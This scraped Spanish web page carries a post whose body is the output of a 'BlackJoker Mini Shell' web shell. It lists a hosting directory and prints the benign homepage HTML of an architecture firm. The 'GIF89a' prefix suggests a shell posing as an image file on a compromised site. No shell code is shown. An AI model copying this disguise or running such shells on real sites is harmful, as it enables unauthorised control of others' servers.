qsdqsd

Sáb, 10/22/2016 - 08:49 -- admin
GIF89a; Mini Shell

Mini Shell

Direktori : /home/m-mas/www/
Upload File :
Current File : /home/m-mas/www/index.html

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>m+ Arquitectura Corporativa, Diseño y Construcción</title>
<link href="splash/styles/style.css" rel="stylesheet" type="text/css" />

<script type="text/javascript">
if((navigator.userAgent.match(/iPhone/i)) || 
 (navigator.userAgent.match(/iPad/i)) ||
 (navigator.userAgent.match(/Opera Mobi/i))||
(navigator.userAgent.match(/Opera Mini/i))||
(navigator.userAgent.match(/BlackBerry/i))||
(navigator.userAgent.match(/Nokia/i))||
(navigator.userAgent.match(/SymbianOS/i))||
(navigator.userAgent.match(/Windows CE/i))||
(navigator.userAgent.match(/BenQ/i))) {
   if (document.cookie.indexOf("iphone_redirect=false") == -1) window.location = "http://m-mas.es/inicio_movil.html";
}
</script>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript" src="splash/scripts/nbw-parallax.js"></script>
<script type="text/javascript" src="splash/scripts/jquery.localscroll-1.2.7-min.js"></script>
<script type="text/javascript" src="splash/scripts/jquery.scrollTo-1.4.2-min.js"></script>
<script type="text/javascript" src="splash/scripts/jquery.inview.js"></script>


<script type="text/javascript">
$(document).ready(function(){
   $('#nav, #intro, #seventh').localScroll();
})
</script>

<script type="text/javascript">
$(document).ready(function(){
   $('h1').delay(2000).fadeIn(3000);
   $('.container').delay(4000).fadeIn(3000)
})
</script>

<script type="text/javascript">
$(document).ready(function(){
var $win = $(window);
function handleScroll() {
var value = $win.scrollTop() || (document.documentElement && document.documentElement.scrollTop);
if (value > 10 && value < 2000) {
$('.map-redline').css('height',value * 1);
}

}
$win.scroll( handleScroll );
}); 
</script>

<script type="text/javascript">
$(function() {
    $('#nav li a').click(function(e) {
        e.preventDefault();
        var $this = $(this);
        $this.closest('ul').children('li').removeClass('active');
        $this.parent().addClass('active');
        $('.bubblemenu').removeClass('bubblemenu');
        var target = $this.attr('href');
        $(target).children('div').children('div').addClass('bubblemenu');
        //console.log('target '+target);
    });
    $('.bubble').hover(function(e) {
    	$('.bubblemenu').removeClass('bubblemenu');
    });
});
</script>


<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-28671221-1']);
  _gaq.push(['_setDomainName', 'm-mas.es']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</head>

<body>
<ul id="nav">
    <li><a href="#second" title="Next Section">El estudio</a></li>
    <li><a href="#third" title="Next Section">Servicios</a></li>
    <li><a href="#fourth" title="Next Section">Galería</a></li>
    <li><a href="#fourth-new" title="Next Section">Clientes</a></li>
    <li><a href="#fifth" title="Next Section">Blog</a></li>
    <li><a href="#sixth" title="Next Section">Contacto</a></li>
</ul>

<div id="header">
<div class="logo-container">
   <h1 id="logo-m"><a href="/" title="m+ Arquitectura">m+ Arquitectura Corporativa, Diseño y Construcción</a></h1>
</div> <!--.logo-container-->
</div> <!--#header-->

<div class="container">

<div id="intro" class="with-bubble">
  <div class="story">
  <a class="texto-enlace" href="#second" title="Go!" class="bubble">
    <div class="bubble">
       <h2>Go!</h2>
       <img src="splash/images/bubble-go.png" alt="Go!" />
    </div>
   </a>
  </div> <!--.story-->
</div> <!--#intro-->

<div id="second">
   <div class="story">
      <div class="bubble el-estudio">
         <h2><a href="el-estudio" class="texto-enlace" title="Ir a El estudio"><span class="size-small">El</span><span>Es</span><span>tu</span><span>dio</span></a></h2>
         <p class="text-inside">Conoce el estudio a través de nuestra trayectoria de más de diez años y el equipo detrás de m+<br/><span style="align:right;"><a href="el-estudio" style="font-size: 11px;" title="Ir a El estudio">Ir >></a></span></p>
         <img src="splash/images/bubble-bg.png" alt="Burbuja para El Estudio" />
      </div>
   </div> <!--.story-->
</div> <!--#second-->

<div id="third">
   <div class="story">
      <div class="bubble servicios">
         <h2><a href="servicios" class="texto-enlace" title="Ir a Servicios">Servicios</a></h2>
         <p class="text-inside">Contamos con amplia experiencia en proyectos de arquitectura corporativa, diseño y construcción.<br/><span style="align:right;"><a href="servicios" style="font-size: 11px;" title="Ir a Servicios">Ir >></a></span></p>
         <img src="splash/images/bubble-bg-left.png" alt="Burbuja para Servicios" />
      </div>
   </div> <!--.story-->
</div> <!--#third-->

<div id="fourth">
   <div class="story">
      <div class="bubble galeria">
         <h2><a href="galeria" class="texto-enlace" title="Ir a la Galería"><span>Ga</span><span>le</span><span>ria</span></a></h2>
         <p class="text-inside">Conoce algunos de nuestros proyectos que hemos seleccionado en las áreas que trabajamos.<br/><span style="align:right;"><a href="galeria" style="font-size: 11px;" title="Ir a Galeria">Ir >></a></span></p>
         <img src="splash/images/bubble-bg.png" alt="Burbuja para Galería" />
      </div>
   </div> <!--.story-->
</div> <!--#fourth-->

<div id="fourth-new">
   <div class="story">
        <div class="bubble clientes">
           <h2><a href="clientes" class="texto-enlace" title="Ir a Clientes">Clientes</a></h2>
           <p class="text-inside">Conoce los clientes con los que hemos desarrollado proyectos.<br/><span style="align:right;"><a href="clientes" style="font-size: 11px;" title="Ir a Clientes">Ir >></a></span></p>
           <img src="splash/images/bubble-bg.png" alt="Burbuja para Clientes" />
        </div>
   </div> <!--.story-->
</div> <!--#fourth-new-->

<div id="fifth">
   <div class="story">
        <div class="bubble blog">
           <h2><a href="blog" class="texto-enlace" title="Ir al Blog">Blog</a></h2>
           <p class="text-inside">En nuestro blog corporativo puedes encontrar información actual sobre los temas que más interesan al equipo.<br/><span style="align:right;"><a href="blog" style="font-size: 11px;" title="Ir al Blog">Ir >></a></span></p>
           <img src="splash/images/bubble-bg-left.png" alt="Burbuja para Blog" />
        </div>
   </div> <!--.story-->
</div> <!--#fifth-->

<div id="sixth">
   <div class="story">
        <div class="bubble contacto">
           <h2><a href="contacto" class="texto-enlace" title="Contactar">Contacto</a></h2>
           <p class="text-inside">Contacta con nosotros vía correo electrónico, teléfono o ven a visitarnos a nuestras oficinas.<br/><span style="align:right;"><a href="contacto" style="font-size: 11px;" title="Ir a Contacto">Ir >></a></span></p>
           <img src="splash/images/bubble-bg.png" alt="Burbuja para Contacto" />
        </div>
   </div> <!--.story-->
</div> <!--#sixth-->

<div id="seventh">
   <div class="story">
        <div class="bubble end">
           <h2><a href="#header" class="texto-enlace" title="End">End</a></h2>
           <img src="splash/images/bubble-end.png" alt="Burbuja para End" />
        </div>
   </div> <!--.story-->
</div> <!--#seventh-->

<div class="map-redline"></div>
</div> <!--container-->

</body>
</html>

./BlackJoker Mini Shell 1.0

Añadir nuevo comentario

Plain text

  • No se permiten etiquetas HTML.
  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Saltos automáticos de líneas y de párrafos.